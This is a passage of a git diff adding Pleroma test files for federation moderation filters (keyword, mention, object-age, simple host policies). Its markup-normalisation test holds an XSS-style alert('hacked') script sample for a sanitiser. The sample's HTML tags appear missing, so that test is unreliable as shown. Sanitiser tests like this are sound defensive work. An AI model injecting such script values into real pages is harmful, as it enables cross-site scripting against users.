"summary" => "just a daily reminder that #{content} is a good pun", + "content" => "" + } + } + + {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + KeywordPolicy.filter(message) + end) + end + end + + describe "delisting from ftl based on keywords" do + test "delists if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) + + message = %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that compLAINer is a good pun", + "summary" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] + refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] + end + + test "delists if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) + + message = %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Create", + "object" => %{ + "summary" => "just a daily reminder that compLAINer is a good pun", + "content" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] + refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] + end + + test "delists if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{ + "content" => "just a daily reminder that #{content} is a good pun", + "summary" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + + ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and + not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) + end) + end + + test "delists if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{ + "summary" => "just a daily reminder that #{content} is a good pun", + "content" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + + ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and + not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) + end) + end + end + + describe "replacing keywords" do + test "replaces keyword if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) + + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"content" => "ZFS is opensource", "summary" => ""} + } + + {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) + assert result == "ZFS is free software" + end + + test "replaces keyword if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) + + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"summary" => "ZFS is opensource", "content" => ""} + } + + {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) + assert result == "ZFS is free software" + end + + test "replaces keyword if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :replace], [ + {~r/open(-|\s)?source\s?(software)?/, "free software"} + ]) + + assert true == + Enum.all?(["opensource", "open-source", "open source"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"content" => "ZFS is #{content}", "summary" => ""} + } + + {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) + result == "ZFS is free software" + end) + end + + test "replaces keyword if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :replace], [ + {~r/open(-|\s)?source\s?(software)?/, "free software"} + ]) + + assert true == + Enum.all?(["opensource", "open-source", "open source"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"summary" => "ZFS is #{content}", "content" => ""} + } + + {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) + result == "ZFS is free software" + end) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs b/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs new file mode 100644 index 000000000..1710c4d2a --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do + use Pleroma.DataCase + + alias Pleroma.HTTP + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy + + import Mock + + @message %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "content", + "attachment" => [ + %{"url" => [%{"href" => "http://example.com/image.jpg"}]} + ] + } + } + + setup do: clear_config([:media_proxy, :enabled], true) + + test "it prefetches media proxy URIs" do + with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do + MediaProxyWarmingPolicy.filter(@message) + + ObanHelpers.perform_all() + # Performing jobs which has been just enqueued + ObanHelpers.perform_all() + + assert called(HTTP.get(:_, :_, :_)) + end + end + + test "it does nothing when no attachments are present" do + object = + @message["object"] + |> Map.delete("attachment") + + message = + @message + |> Map.put("object", object) + + with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do + MediaProxyWarmingPolicy.filter(message) + refute called(HTTP.get(:_, :_, :_)) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs b/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs new file mode 100644 index 000000000..220309cc9 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.MentionPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.MentionPolicy + + setup do: clear_config(:mrf_mention) + + test "pass filter if allow list is empty" do + Pleroma.Config.delete([:mrf_mention]) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + describe "allow" do + test "empty" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create" + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "to" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "cc" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "cc" => ["https://example.com/ok"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "both" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/ok2"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + end + + describe "deny" do + test "to" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == + {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} + end + + test "cc" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == + {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs new file mode 100644 index 000000000..64ea61dd4 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicyTest do + use Pleroma.DataCase + alias Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicy + + test "it clears content object" do + message = %{ + "type" => "Create", + "object" => %{"content" => ".", "attachment" => "image"} + } + + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res["object"]["content"] == "" + + message = put_in(message, ["object", "content"], "

.

") + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res["object"]["content"] == "" + end + + @messages [ + %{ + "type" => "Create", + "object" => %{"content" => "test", "attachment" => "image"} + }, + %{"type" => "Create", "object" => %{"content" => "."}}, + %{"type" => "Create", "object" => %{"content" => "

.

"}} + ] + test "it skips filter" do + Enum.each(@messages, fn message -> + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res == message + end) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs new file mode 100644 index 000000000..9b39c45bd --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do + use Pleroma.DataCase + alias Pleroma.Web.ActivityPub.MRF.NormalizeMarkup + + @html_sample """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ + """ + + test "it filter html tags" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + message = %{"type" => "Create", "object" => %{"content" => @html_sample}} + + assert {:ok, res} = NormalizeMarkup.filter(message) + assert res["object"]["content"] == expected + end + + test "it skips filter if type isn't `Create`" do + message = %{"type" => "Note", "object" => %{}} + + assert {:ok, res} = NormalizeMarkup.filter(message) + assert res == message + end +end diff --git a/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs b/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs new file mode 100644 index 000000000..cf6acc9a2 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs @@ -0,0 +1,148 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ObjectAgePolicyTest do + use Pleroma.DataCase + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy + alias Pleroma.Web.ActivityPub.Visibility + + setup do: + clear_config(:mrf_object_age, + threshold: 172_800, + actions: [:delist, :strip_followers] + ) + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + defp get_old_message do + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + end + + defp get_new_message do + old_message = get_old_message() + + new_object = + old_message + |> Map.get("object") + |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601()) + + old_message + |> Map.put("object", new_object) + end + + describe "with reject action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + assert match?({:reject, _}, ObjectAgePolicy.filter(data)) + end + + test "it rejects an old post" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = get_old_message() + + assert match?({:reject, _}, ObjectAgePolicy.filter(data)) + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = get_new_message() + + assert match?({:ok, _}, ObjectAgePolicy.filter(data)) + end + end + + describe "with delist action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + assert Visibility.get_visibility(%{data: data}) == "unlisted" + end + + test "it delists an old post" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = get_old_message() + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + assert Visibility.get_visibility(%{data: data}) == "unlisted" + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = get_new_message() + + {:ok, _user} = User.get_or_fetch_by_ap_id(data["actor"]) + + assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) + end + end + + describe "with strip_followers action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + refute user.follower_address in data["to"] + refute user.follower_address in data["cc"] + end + + test "it strips followers collections from an old post" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = get_old_message() + + {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + refute user.follower_address in data["to"] + refute user.follower_address in data["cc"] + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = get_new_message() + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs new file mode 100644 index 000000000..58b46b9a2 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs @@ -0,0 +1,100 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.RejectNonPublic + + setup do: clear_config([:mrf_rejectnonpublic]) + + describe "public message" do + test "it's allowed when address is public" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's allowed when cc address contain public address" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + assert {:ok, message} = RejectNonPublic.filter(message) + end + end + + describe "followers message" do + test "it's allowed when addrer of message in the follower addresses of user and it enabled in config" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["test-address"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["test-address"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], false) + assert {:reject, _} = RejectNonPublic.filter(message) + end + end + + describe "direct message" do + test "it's allows when direct messages are allow" do + actor = insert(:user) + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Publid"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's reject when direct messages aren't allow" do + actor = insert(:user) + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Publid~~~"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], false) + assert {:reject, _} = RejectNonPublic.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs b/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs new file mode 100644 index 000000000..d7dde62c4 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs @@ -0,0 +1,539 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.MRF.SimplePolicy + alias Pleroma.Web.CommonAPI + + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + describe "when :media_removal" do + test "is empty" do + Config.put([:mrf_simple, :media_removal], []) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == {:ok, media_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :media_removal], ["remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> Map.put("object", Map.delete(media_message["object"], "attachment"))} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :media_removal], ["*.remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> Map.put("object", Map.delete(media_message["object"], "attachment"))} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + describe "when :media_nsfw" do + test "is empty" do + Config.put([:mrf_simple, :media_nsfw], []) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == {:ok, media_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :media_nsfw], ["remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> put_in(["object", "tag"], ["foo", "nsfw"]) + |> put_in(["object", "sensitive"], true)} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :media_nsfw], ["*.remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> put_in(["object", "tag"], ["foo", "nsfw"]) + |> put_in(["object", "sensitive"], true)} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + defp build_media_message do + %{ + "actor" => "https://remote.instance/users/bob", + "type" => "Create", + "object" => %{ + "attachment" => [%{}], + "tag" => ["foo"], + "sensitive" => false + } + } + end + + describe "when :report_removal" do + test "is empty" do + Config.put([:mrf_simple, :report_removal], []) + report_message = build_report_message() + local_message = build_local_message() + + assert SimplePolicy.filter(report_message) == {:ok, report_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :report_removal], ["remote.instance"]) + report_message = build_report_message() + local_message = build_local_message() + + assert {:reject, _} = SimplePolicy.filter(report_message) + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :report_removal], ["*.remote.instance"]) + report_message = build_report_message() + local_message = build_local_message() + + assert {:reject, _} = SimplePolicy.filter(report_message) + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + defp build_report_message do + %{ + "actor" => "https://remote.instance/users/bob", + "type" => "Flag" + } + end + + describe "when :federated_timeline_removal" do + test "is empty" do + Config.put([:mrf_simple, :federated_timeline_removal], []) + {_, ftl_message} = build_ftl_actor_and_message() + local_message = build_local_message() + + assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + {actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) + local_message = build_local_message() + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + assert actor.follower_address in ftl_message["to"] + refute actor.follower_address in ftl_message["cc"] + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + {actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :federated_timeline_removal], ["*." <> ftl_message_actor_host]) + local_message = build_local_message() + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + assert actor.follower_address in ftl_message["to"] + refute actor.follower_address in ftl_message["cc"] + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host but only as:Public in to" do + {_actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + ftl_message = Map.put(ftl_message, "cc", []) + + Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + end + end + + defp build_ftl_actor_and_message do + actor = insert(:user) + + {actor, + %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public", "http://foo.bar/baz"], + "cc" => [actor.follower_address, "http://foo.bar/qux"] + }} + end + + describe "when :reject" do + test "is empty" do + Config.put([:mrf_simple, :reject], []) + + remote_message = build_remote_message() + + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "activity has a matching host" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + remote_message = build_remote_message() + + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "activity matches with wildcard domain" do + Config.put([:mrf_simple, :reject], ["*.remote.instance"]) + + remote_message = build_remote_message() + + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "actor has a matching host" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + remote_user = build_remote_user() + + assert {:reject, _} = SimplePolicy.filter(remote_user) + end + end + + describe "when :followers_only" do + test "is empty" do + Config.put([:mrf_simple, :followers_only], []) + {_, ftl_message} = build_ftl_actor_and_message() + local_message = build_local_message() + + assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + actor = insert(:user) + following_user = insert(:user) + non_following_user = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(following_user, actor) + + activity = %{ + "actor" => actor.ap_id, + "to" => [ + "https://www.w3.org/ns/activitystreams#Public", + following_user.ap_id, + non_following_user.ap_id + ], + "cc" => [actor.follower_address, "http://foo.bar/qux"] + } + + dm_activity = %{ + "actor" => actor.ap_id, + "to" => [ + following_user.ap_id, + non_following_user.ap_id + ], + "cc" => [] + } + + actor_domain = + activity + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :followers_only], [actor_domain]) + + assert {:ok, new_activity} = SimplePolicy.filter(activity) + assert actor.follower_address in new_activity["cc"] + assert following_user.ap_id in new_activity["to"] + refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["to"] + refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["cc"] + refute non_following_user.ap_id in new_activity["to"] + refute non_following_user.ap_id in new_activity["cc"] + + assert {:ok, new_dm_activity} = SimplePolicy.filter(dm_activity) + assert new_dm_activity["to"] == [following_user.ap_id] + assert new_dm_activity["cc"] == [] + end + end + + describe "when :accept" do + test "is empty" do + Config.put([:mrf_simple, :accept], []) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "is not empty but activity doesn't have a matching host" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "activity has a matching host" do + Config.put([:mrf_simple, :accept], ["remote.instance"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "activity matches with wildcard domain" do + Config.put([:mrf_simple, :accept], ["*.remote.instance"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "actor has a matching host" do + Config.put([:mrf_simple, :accept], ["remote.instance"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + end + + describe "when :avatar_removal" do + test "is empty" do + Config.put([:mrf_simple, :avatar_removal], []) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "is not empty but it doesn't have a matching host" do + Config.put([:mrf_simple, :avatar_removal], ["non.matching.remote"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "has a matching host" do + Config.put([:mrf_simple, :avatar_removal], ["remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["icon"] + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :avatar_removal], ["*.remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["icon"] + end + end + + describe "when :banner_removal" do + test "is empty" do + Config.put([:mrf_simple, :banner_removal], []) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "is not empty but it doesn't have a matching host" do + Config.put([:mrf_simple, :banner_removal], ["non.matching.remote"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "has a matching host" do + Config.put([:mrf_simple, :banner_removal], ["remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["image"] + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :banner_removal], ["*.remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["image"] + end + end + + describe "when :reject_deletes is empty" do + setup do: Config.put([:mrf_simple, :reject_deletes], []) + + test "it accepts deletions even from rejected servers" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + + test "it accepts deletions even from non-whitelisted servers" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + end + + describe "when :reject_deletes is not empty but it doesn't have a matching host" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["non.matching.remote"]) + + test "it accepts deletions even from rejected servers" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + + test "it accepts deletions even from non-whitelisted servers" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + end + + describe "when :reject_deletes has a matching host" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["remote.instance"]) + + test "it rejects the deletion" do + deletion_message = build_remote_deletion_message() + + assert {:reject, _} = SimplePolicy.filter(deletion_message) + end + end + + describe "when :reject_deletes match with wildcard domain" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["*.remote.instance"]) + + test "it rejects the deletion" do + deletion_message = build_remote_deletion_message() + + assert {:reject, _} = SimplePolicy.filter(deletion_message) + end + end + + defp build_local_message do + %{ + "actor" => "#{Pleroma.Web.base_url()}/users/alice", + "to" => [], + "cc" => [] + } + end + + defp build_remote_message do + %{"actor" => "https://remote.instance/users/bob"} + end + + defp build_remote_user do + %{ + "id" => "https://remote.instance/users/bob", + "icon" => %{ + "url" => "http://example.com/image.jpg", + 